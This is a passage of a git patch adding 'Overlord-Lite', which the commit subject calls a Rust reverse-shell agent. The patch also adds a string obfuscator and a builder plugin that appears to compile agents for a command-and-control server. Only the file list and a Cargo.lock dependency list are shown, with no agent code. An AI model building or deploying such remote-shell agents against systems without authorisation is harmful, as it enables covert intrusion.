From 7a8fcf39ecc9897718674b1d72c8d07dc99fcedb Mon Sep 17 00:00:00 2001 From: KingKDot Date: Wed, 19 Aug 2026 09:54:52 -0500 Subject: [PATCH] mess around with a rust agent version with just rev shell. --- .gitignore | 2 + Overlord-Lite/Cargo.lock | 1260 +++++++++++++++++ Overlord-Lite/Cargo.toml | 39 + Overlord-Lite/README.md | 107 ++ Overlord-Lite/build.rs | 72 + Overlord-Lite/src/config.rs | 234 +++ Overlord-Lite/src/console.rs | 283 ++++ Overlord-Lite/src/identity.rs | 91 ++ Overlord-Lite/src/lib.rs | 11 + Overlord-Lite/src/main.rs | 53 + Overlord-Lite/src/obfuscation.rs | 38 + Overlord-Lite/src/protocol.rs | 140 ++ Overlord-Lite/src/session.rs | 521 +++++++ Overlord-Lite/src/tls.rs | 259 ++++ Overlord-Lite/string-obfuscator/Cargo.toml | 13 + Overlord-Lite/string-obfuscator/src/lib.rs | 61 + Overlord-Server/public/assets/build.js | 104 +- Overlord-Server/public/build.html | 22 +- Overlord-Server/src/build/types.ts | 2 + Overlord-Server/src/main-server.ts | 6 + Overlord-Server/src/protocol.ts | 8 + Overlord-Server/src/server/build-process.ts | 268 +++- .../src/server/plugin-build-provider.test.ts | 69 + .../src/server/plugin-build-provider.ts | 125 ++ .../src/server/plugin-runtime/runtime.test.ts | 85 ++ .../src/server/plugin-runtime/runtime.ts | 86 ++ .../src/server/plugin-runtime/types.ts | 18 +- .../src/server/plugin-runtime/worker-host.ts | 51 +- .../src/server/plugin-state-bundle.test.ts | 29 + .../src/server/plugin-state-bundle.ts | 18 + .../src/server/routes/build-routes.ts | 58 +- README.md | 14 + deploy/reverse-proxy/Caddyfile.example | 4 + deploy/reverse-proxy/nginx.conf.example | 1 + plugins/PLUGINS.md | 3 +- plugins/docs/samples.md | 3 +- plugins/docs/server-side-plugins.md | 49 + plugins/rust-lite-builder/README.md | 41 + plugins/rust-lite-builder/build.bat | 8 + plugins/rust-lite-builder/build.sh | 7 + plugins/rust-lite-builder/config.json | 58 + .../rust-lite-builder/rust-lite-builder.css | 49 + .../rust-lite-builder/rust-lite-builder.html | 11 + .../rust-lite-builder/rust-lite-builder.js | 21 + plugins/rust-lite-builder/server.js | 415 ++++++ scripts/build-prod-package.bat | 40 +- scripts/build-prod-package.sh | 26 +- 47 files changed, 4790 insertions(+), 93 deletions(-) create mode 100644 Overlord-Lite/Cargo.lock create mode 100644 Overlord-Lite/Cargo.toml create mode 100644 Overlord-Lite/README.md create mode 100644 Overlord-Lite/build.rs create mode 100644 Overlord-Lite/src/config.rs create mode 100644 Overlord-Lite/src/console.rs create mode 100644 Overlord-Lite/src/identity.rs create mode 100644 Overlord-Lite/src/lib.rs create mode 100644 Overlord-Lite/src/main.rs create mode 100644 Overlord-Lite/src/obfuscation.rs create mode 100644 Overlord-Lite/src/protocol.rs create mode 100644 Overlord-Lite/src/session.rs create mode 100644 Overlord-Lite/src/tls.rs create mode 100644 Overlord-Lite/string-obfuscator/Cargo.toml create mode 100644 Overlord-Lite/string-obfuscator/src/lib.rs create mode 100644 Overlord-Server/src/server/plugin-build-provider.test.ts create mode 100644 Overlord-Server/src/server/plugin-build-provider.ts create mode 100644 Overlord-Server/src/server/plugin-runtime/runtime.test.ts create mode 100644 plugins/rust-lite-builder/README.md create mode 100644 plugins/rust-lite-builder/build.bat create mode 100644 plugins/rust-lite-builder/build.sh create mode 100644 plugins/rust-lite-builder/config.json create mode 100644 plugins/rust-lite-builder/rust-lite-builder.css create mode 100644 plugins/rust-lite-builder/rust-lite-builder.html create mode 100644 plugins/rust-lite-builder/rust-lite-builder.js create mode 100644 plugins/rust-lite-builder/server.js diff --git a/.gitignore b/.gitignore index a58fae0..1c42c45 100644 --- a/.gitignore +++ b/.gitignore @@ -22,9 +22,11 @@ Overlord-Desktop/src/vendor/ Overlord-Desktop/src-tauri/target/ Overlord-Desktop/src-tauri/gen/ Overlord-Desktop/src-tauri/Cargo.lock +/Overlord-Lite/target/ # Configuration config.json +!plugins/rust-lite-builder/config.json # Docker .env diff --git a/Overlord-Lite/Cargo.lock b/Overlord-Lite/Cargo.lock new file mode 100644 index 0000000..0f1b7c8 --- /dev/null +++ b/Overlord-Lite/Cargo.lock @@ -0,0 +1,1260 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 4 + +[[package]] +name = "anyhow" +version = "1.0.104" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "330a5ed07fa54e4702c9d6c4174f74427fc0ef6e214bbd677ae50a5099946470" + +[[package]] +name = "autocfg" +version = "1.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f2032f911046de80f0a198e0901378627c33f59ea0ac00e363d481118bd70a53" + +[[package]] +name = "base64" +version = "0.22.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6" + +[[package]] +name = "base64ct" +version = "1.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2af50177e190e07a26ab74f8b1efbfe2ef87da2116221318cb1c2e82baf7de06" + +[[package]] +name = "bitflags" +version = "1.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" + +[[package]] +name = "bitflags" +version = "2.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b588b76d00fde79687d7646a9b5bdf3cc0f655e0bbd080335a95d7e96f3587da" + +[[package]] +name = "block-buffer" +version = "0.10.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71" +dependencies = [ + "generic-array", +] + +[[package]] +name = "bumpalo" +version = "3.20.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72f5acc6cb2ba439de613abc23857ec3d78374d8ed5ac84e9d11336e87da8649" + +[[package]] +name = "bytes" +version = "1.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc652a48c352aef3ea3aed32080501cf3ef6ed5da78602a020c991775b0aff04" + +[[package]] +name = "cc" +version = "1.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "509591b7bcd67f4ef775afad7662703b4935daaa6ec0e5605cfb1090b32a2b6d" +dependencies = [ + "find-msvc-tools", + "shlex", +] + +[[package]] +name = "cfg-if" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801" + +[[package]] +name = "cfg_aliases" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fd16c4719339c4530435d38e511904438d07cce7950afa3718a84ac36c10e89e" + +[[package]] +name = "const-oid" +version = "0.9.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c2459377285ad874054d797f3ccebf984978aa39129f6eafde5cdc8315b612f8" + +[[package]] +name = "cpufeatures" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "59ed5838eebb26a2bb2e58f6d5b5316989ae9d08bab10e0e6d103e656d1b0280" +dependencies = [ + "libc", +] + +[[package]] +name = "crypto-common" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "78c8292055d1c1df0cce5d180393dc8cce0abec0a7102adb6c7b1eef6016d60a" +dependencies = [ + "generic-array", + "typenum", +] + +[[package]] +name = "curve25519-dalek" +version = "4.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "97fb8b7c4503de7d6ae7b42ab72a5a59857b4c937ec27a3d4539dba95b5ab2be" +dependencies = [ + "cfg-if", + "cpufeatures", + "curve25519-dalek-derive", + "digest", + "fiat-crypto", + "rustc_version", + "subtle", + "zeroize", +] + +[[package]] +name = "curve25519-dalek-derive" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f46882e17999c6cc590af592290432be3bce0428cb0d5f8b6715e4dc7b383eb3" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "data-encoding" +version = "2.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4583a4551df46e2792f82ceeac45e850d2e2d5debba0b91f102385cda5b11f06" + +[[package]] +name = "der" +version = "0.7.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e7c1832837b905bbfb5101e07cc24c8deddf52f93225eee6ead5f4d63d53ddcb" +dependencies = [ + "const-oid", + "zeroize", +] + +[[package]] +name = "digest" +version = "0.10.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292" +dependencies = [ + "block-buffer", + "crypto-common", +] + +[[package]] +name = "downcast-rs" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "75b325c5dbd37f80359721ad39aca5a29fb04c89279657cffdda8736d0c0b9d2" + +[[package]] +name = "ed25519" +version = "2.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "115531babc129696a58c64a4fef0a8bf9e9698629fb97e9e40767d235cfbcd53" +dependencies = [ + "pkcs8", + "signature", +] + +[[package]] +name = "ed25519-dalek" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "70e796c081cee67dc755e1a36a0a172b897fab85fc3f6bc48307991f64e4eca9" +dependencies = [ + "curve25519-dalek", + "ed25519", + "rand_core 0.6.4", + "serde", + "sha2", + "subtle", + "zeroize", +] + +[[package]] +name = "errno" +version = "0.3.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "39cab71617ae0d63f51a36d69f866391735b51691dbda63cf6f96d042b63efeb" +dependencies = [ + "libc", + "windows-sys 0.61.2", +] + +[[package]] +name = "fastrand" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da7c62ceae207dd37ea5b845da6a0696c799f85e97da1ab5b7910be3c1c80223" + +[[package]] +name = "fiat-crypto" +version = "0.2.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "28dea519a9695b9977216879a3ebfddf92f1c08c05d984f8996aecd6ecdc811d" + +[[package]] +name = "filedescriptor" +version = "0.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e40758ed24c9b2eeb76c35fb0aebc66c626084edd827e07e1552279814c6682d" +dependencies = [ + "libc", + "thiserror 1.0.69", + "winapi", +] + +[[package]] +name = "find-msvc-tools" +version = "0.1.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d45db016d36b838f563236e9193d0ee6ce38f3f68b6c94e914b4929c96bbb890" + +[[package]] +name = "futures-core" +version = "0.3.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "92d699e522242e69e3003b94ecc1f960f3a5e015aa7c5d7486e65ad01dd94f5e" + +[[package]] +name = "futures-macro" +version = "0.3.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9fb9654ba8355388abeb8dcb4fc62f511300867002afc858860463bdd9fe0c44" +dependencies = [ + "proc-macro2", + "quote", + "syn 3.0.3", +] + +[[package]] +name = "futures-sink" +version = "0.3.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1944426bf7d03f1d14f708785e4b33efd750b36d48a157b836b3efc15ede8e1d" + +[[package]] +name = "futures-task" +version = "0.3.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cd417de3d1d015fc3bfd2b1ea46dfc7bab72ef86f1cc7cc9c78e728b34a6d1fd" + +[[package]] +name = "futures-util" +version = "0.3.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0d50a92467f8ba5dd6e3ee5d4bd04d73ab2e4e1c44474a0674821dfce14b79bc" +dependencies = [ + "futures-core", + "futures-macro", + "futures-sink", + "futures-task", + "pin-project-lite", + "slab", +] + +[[package]] +name = "generic-array" +version = "0.14.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a" +dependencies = [ + "typenum", + "version_check", +] + +[[package]] +name = "getrandom" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff2abc00be7fca6ebc474524697ae276ad847ad0a6b3faa4bcb027e9a4614ad0" +dependencies = [ + "cfg-if", + "libc", + "wasi", +] + +[[package]] +name = "getrandom" +version = "0.3.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "899def5c37c4fd7b2664648c28120ecec138e4d395b459e5ca34f9cce2dd77fd" +dependencies = [ + "cfg-if", + "libc", + "r-efi 5.3.0", + "wasip2", +] + +[[package]] +name = "getrandom" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "300e883d756b2e4ec94e02791f39b04b522276138852cfc41d9fb7e904106099" +dependencies = [ + "cfg-if", + "libc", + "r-efi 6.0.0", +] + +[[package]] +name = "http" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "918d3568bebf352712bc2ef3d46a8bcf1a75b373be6539de198e9105cbbf9ce0" +dependencies = [ + "bytes", + "itoa", +] + +[[package]] +name = "httparse" +version = "1.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6dbf3de79e51f3d586ab4cb9d5c3e2c14aa28ed23d180cf89b4df0454a69cc87" + +[[package]] +name = "itoa" +version = "1.0.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f42a60cbdf9a97f5d2305f08a87dc4e09308d1276d28c869c684d7777685682" + +[[package]] +name = "js-sys" +version = "0.3.104" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0e0c1080212aad755ea003d18543e8768dd432c48819efd73a7bf1e39b7a5a3a" +dependencies = [ + "cfg-if", + "futures-util", + "wasm-bindgen", +] + +[[package]] +name = "lazy_static" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe" + +[[package]] +name = "libc" +version = "0.2.189" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3eaf3ede3fee6db1a4c2ee091bf8a8b4dccdc6d17f656fb07896ee72867612f2" + +[[package]] +name = "linux-raw-sys" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32a66949e030da00e8c7d4434b251670a91556f4144941d37452769c25d58a53" + +[[package]] +name = "log" +version = "0.4.33" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0ceec5bc11778974d1bcb055b18002eba7f4b3518b6a0081b3af5f21666da9ad" + +[[package]] +name = "memchr" +version = "2.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cf8baf1c55e62ffcace7a9f06f4bd9cd3f0c4beb022d3b367256b91b87513d98" + +[[package]] +name = "mio" +version = "1.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "30d65c71f1ce40ab09135ce117d742b9f8a19ff91a41a8b57ed50bc2de59c427" +dependencies = [ + "libc", + "wasi", + "windows-sys 0.61.2", +] + +[[package]] +name = "nix" +version = "0.28.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ab2156c4fce2f8df6c499cc1c763e4394b7482525bf2a9701c9d79d215f519e4" +dependencies = [ + "bitflags 2.13.1", + "cfg-if", + "cfg_aliases", + "libc", +] + +[[package]] +name = "num-traits" +version = "0.2.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841" +dependencies = [ + "autocfg", +] + +[[package]] +name = "once_cell" +version = "1.21.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9f7c3e4beb33f85d45ae3e3a1792185706c8e16d043238c593331cc7cd313b50" + +[[package]] +name = "overlord-lite" +version = "0.3.0" +dependencies = [ + "anyhow", + "base64", + "ed25519-dalek", + "futures-util", + "overlord-lite-string-obfuscator", + "portable-pty", + "rand_core 0.6.4", + "rmp-serde", + "rmpv", + "rustls", + "serde", + "serde_bytes", + "serde_json", + "sha2", + "tempfile", + "tokio", + "tokio-tungstenite", + "uuid", +] + +[[package]] +name = "overlord-lite-string-obfuscator" +version = "0.1.0" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "pin-project-lite" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a89322df9ebe1c1578d689c92318e070967d1042b512afbe49518723f4e6d5cd" + +[[package]] +name = "pkcs8" +version = "0.10.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f950b2377845cebe5cf8b5165cb3cc1a5e0fa5cfa3e1f7f55707d8fd82e0a7b7" +dependencies = [ + "der", + "spki", +] + +[[package]] +name = "portable-pty" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b4a596a2b3d2752d94f51fac2d4a96737b8705dddd311a32b9af47211f08671e" +dependencies = [ + "anyhow", + "bitflags 1.3.2", + "downcast-rs", + "filedescriptor", + "lazy_static", + "libc", + "log", + "nix", + "serial2", + "shared_library", + "shell-words", + "winapi", + "winreg", +] + +[[package]] +name = "ppv-lite86" +version = "0.2.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85eae3c4ed2f50dcfe72643da4befc30deadb458a9b590d720cde2f2b1e97da9" +dependencies = [ + "zerocopy", +] + +[[package]] +name = "proc-macro2" +version = "1.0.107" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "985e7ec9bb745e6ce6535b544d84d6cd6f7ad8bd711c398938ae983b91a766d9" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "quote" +version = "1.0.47" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1fbf4db142a473a8d80c26bbf18454ed458bf8d26c8219c331daecfdbd079001" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "r-efi" +version = "5.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "69cdb34c158ceb288df11e18b4bd39de994f6657d83847bdffdbd7f346754b0f" + +[[package]] +name = "r-efi" +version = "6.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8dcc9c7d52a811697d2151c701e0d08956f92b0e24136cf4cf27b57a6a0d9bf" + +[[package]] +name = "rand" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b9ef1d0d795eb7d84685bca4f72f3649f064e6641543d3a8c415898726a57b41" +dependencies = [ + "rand_chacha", + "rand_core 0.9.5", +] + +[[package]] +name = "rand_chacha" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d3022b5f1df60f26e1ffddd6c66e8aa15de382ae63b3a0c1bfc0e4d3e3f325cb" +dependencies = [ + "ppv-lite86", + "rand_core 0.9.5", +] + +[[package]] +name = "rand_core" +version = "0.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" +dependencies = [ + "getrandom 0.2.17", +] + +[[package]] +name = "rand_core" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "76afc826de14238e6e8c374ddcc1fa19e374fd8dd986b0d2af0d02377261d83c" +dependencies = [ + "getrandom 0.3.4", +] + +[[package]] +name = "ring" +version = "0.17.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a4689e6c2294d81e88dc6261c768b63bc4fcdb852be6d1352498b114f61383b7" +dependencies = [ + "cc", + "cfg-if", + "getrandom 0.2.17", + "libc", + "untrusted", + "windows-sys 0.52.0", +] + +[[package]] +name = "rmp" +version = "0.8.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4ba8be72d372b2c9b35542551678538b562e7cf86c3315773cae48dfbfe7790c" +dependencies = [ + "num-traits", +] + +[[package]] +name = "rmp-serde" +version = "1.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72f81bee8c8ef9b577d1681a70ebbc962c232461e397b22c208c43c04b67a155" +dependencies = [ + "rmp", + "serde", +] + +[[package]] +name = "rmpv" +version = "1.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7a4e1d4b9b938a26d2996af33229f0ca0956c652c1375067f0b45291c1df8417" +dependencies = [ + "rmp", + "serde", + "serde_bytes", +] + +[[package]] +name = "rustc_version" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cfcb3a22ef46e85b45de6ee7e79d063319ebb6594faafcf1c225ea92ab6e9b92" +dependencies = [ + "semver", +] + +[[package]] +name = "rustix" +version = "1.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6fe4565b9518b83ef4f91bb47ce29620ca828bd32cb7e408f0062e9930ba190" +dependencies = [ + "bitflags 2.13.1", + "errno", + "libc", + "linux-raw-sys", + "windows-sys 0.61.2", +] + +[[package]] +name = "rustls" +version = "0.23.43" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0283386ce02abc0151e1761d08802dfe86c173b0b494af5cbc086574e453da06" +dependencies = [ + "once_cell", + "ring", + "rustls-pki-types", + "rustls-webpki", + "subtle", + "zeroize", +] + +[[package]] +name = "rustls-pki-types" +version = "1.15.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2f4925028c7eb5d1fcdaf196971378ed9d2c1c4efc7dc5d011256f76c99c0a96" +dependencies = [ + "zeroize", +] + +[[package]] +name = "rustls-webpki" +version = "0.103.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0527518605e68109d875e248ea259b6758801cf165e4b2c2733ae3b51f12535a" +dependencies = [ + "ring", + "rustls-pki-types", + "untrusted", +] + +[[package]] +name = "rustversion" +version = "1.0.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cf54715a573b99ac80df0bc206da022bcd442c974952c7b9720069370852e21f" + +[[package]] +name = "semver" +version = "1.0.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a7852d02fc848982e0c167ef163aaff9cd91dc640ba85e263cb1ce46fae51cd" + +[[package]] +name = "serde" +version = "1.0.229" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4148590afebada386688f18773da617792bf2ef03ffc1e4cbd2b1d45b023e0ba" +dependencies = [ + "serde_core", + "serde_derive", +] + +[[package]] +name = "serde_bytes" +version = "0.11.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a5d440709e79d88e51ac01c4b72fc6cb7314017bb7da9eeff678aa94c10e3ea8" +dependencies = [ + "serde", + "serde_core", +] + +[[package]] +name = "serde_core" +version = "1.0.229" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "67dca2c9c51e58a4791a4b1ed58308b39c64224d349a935ab5039aa360942a48" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde_derive" +version = "1.0.229" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e7a5d71263a5a7d47b41f6b3f06ba276f10cc18b0931f1799f710578e2309348" +dependencies = [ + "proc-macro2", + "quote", + "syn 3.0.3", +] + +[[package]] +name = "serde_json" +version = "1.0.151" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c841b55ecdae098c80dcae9cf767f6f8a0c2cdb3416bbef72181df4d0fe73f14" +dependencies = [ + "itoa", + "memchr", + "serde", + "serde_core", + "zmij", +] + +[[package]] +name = "serial2" +version = "0.2.38" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b16809bc35793b19ce4e0c53924bc0dce3937f15487997cfdaed936004180730" +dependencies = [ + "cfg-if", + "libc", + "windows-sys 0.61.2", +] + +[[package]] +name = "sha1" +version = "0.10.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a978451301f4db1d02937a4ab3ccce137717b81826e79b7d49ffe3244a13c3b8" +dependencies = [ + "cfg-if", + "cpufeatures", + "digest", +] + +[[package]] +name = "sha2" +version = "0.10.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a7507d819769d01a365ab707794a4084392c824f54a7a6a7862f8c3d0892b283" +dependencies = [ + "cfg-if", + "cpufeatures", + "digest", +] + +[[package]] +name = "shared_library" +version = "0.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5a9e7e0f2bfae24d8a5b5a66c5b257a83c7412304311512a0c054cd5e619da11" +dependencies = [ + "lazy_static", + "libc", +] + +[[package]] +name = "shell-words" +version = "1.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc6fe69c597f9c37bfeeeeeb33da3530379845f10be461a66d16d03eca2ded77" + +[[package]] +name = "shlex" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8fadd59c855ef2080decdef8ff161eb6661b86933c9d82e5ba29dc602a55aba" + +[[package]] +name = "signal-hook-registry" +version = "1.4.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c4db69cba1110affc0e9f7bcd48bbf87b3f4fc7c61fc9155afd4c469eb3d6c1b" +dependencies = [ + "errno", + "libc", +] + +[[package]] +name = "signature" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "77549399552de45a898a580c1b41d445bf730df867cc44e6c0233bbc4b8329de" +dependencies = [ + "rand_core 0.6.4", +] + +[[package]] +name = "slab" +version = "0.4.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0c790de23124f9ab44544d7ac05d60440adc586479ce501c1d6d7da3cd8c9cf5" + +[[package]] +name = "socket2" +version = "0.6.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c3d1e2c7f27f8d4cb10542a02c49005dbd6e93095799d6f3be745fae9f8fedd4" +dependencies = [ + "libc", + "windows-sys 0.61.2", +] + +[[package]] +name = "spki" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d91ed6c858b01f942cd56b37a94b3e0a1798290327d1236e4d9cf4eaca44d29d" +dependencies = [ + "base64ct", + "der", +] + +[[package]] +name = "subtle" +version = "2.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "13c2bddecc57b384dee18652358fb23172facb8a2c51ccc10d74c157bdea3292" + +[[package]] +name = "syn" +version = "2.0.119" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "872831b642d1a07999a962a351ed35b955ea2cfc8f3862091e2a240a84f17297" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "syn" +version = "3.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "53e9bae58849f64dfa4f5d5ae372c8341f7305f82a3868709269343628b659a3" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "tempfile" +version = "3.27.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32497e9a4c7b38532efcdebeef879707aa9f794296a4f0244f6f69e9bc8574bd" +dependencies = [ + "fastrand", + "getrandom 0.4.3", + "once_cell", + "rustix", + "windows-sys 0.61.2", +] + +[[package]] +name = "thiserror" +version = "1.0.69" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6aaf5339b578ea85b50e080feb250a3e8ae8cfcdff9a461c9ec2904bc923f52" +dependencies = [ + "thiserror-impl 1.0.69", +] + +[[package]] +name = "thiserror" +version = "2.0.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec86235f5fcc2a73650310756d2ac5b138a5780bbbdfae3eeccec992c435ba4f" +dependencies = [ + "thiserror-impl 2.0.20", +] + +[[package]] +name = "thiserror-impl" +version = "1.0.69" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4fee6c4efc90059e10f81e6d42c60a18f76588c3d74cb83a0b242a2b6c7504c1" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "thiserror-impl" +version = "2.0.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bc04cd3e1236dd4a98afca4569f2deb3f120e5422a4023be2cb683f8486292af" +dependencies = [ + "proc-macro2", + "quote", + "syn 3.0.3", +] + +[[package]] +name = "tokio" +version = "1.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "202caea871b69668250d242070849eb495be178ed697a3e98aebce5bc81a0bed" +dependencies = [ + "bytes", + "libc", + "mio", + "pin-project-lite", + "signal-hook-registry", + "socket2", + "tokio-macros", + "windows-sys 0.61.2", +] + +[[package]] +name = "tokio-macros" +version = "2.7.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "78773a2a397f451582ce068015985c33193cf6dea8b74d2a639fe457b2f07b0e" +dependencies = [ + "proc-macro2", + "quote", + "syn 3.0.3", +] + +[[package]] +name = "tokio-rustls" +version = "0.26.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1729aa945f29d91ba541258c8df89027d5792d85a8841fb65e8bf0f4ede4ef61" +dependencies = [ + "rustls", + "tokio", +] + +[[package]] +name = "tokio-tungstenite" +version = "0.28.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d25a406cddcc431a75d3d9afc6a7c0f7428d4891dd973e4d54c56b46127bf857" +dependencies = [ + "futures-util", + "log", + "rustls", + "rustls-pki-types", + "tokio", + "tokio-rustls", + "tungstenite", + "webpki-roots 0.26.11", +] + +[[package]] +name = "tungstenite" +version = "0.28.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8628dcc84e5a09eb3d8423d6cb682965dea9133204e8fb3efee74c2a0c259442" +dependencies = [ + "bytes", + "data-encoding", + "http", + "httparse", + "log", 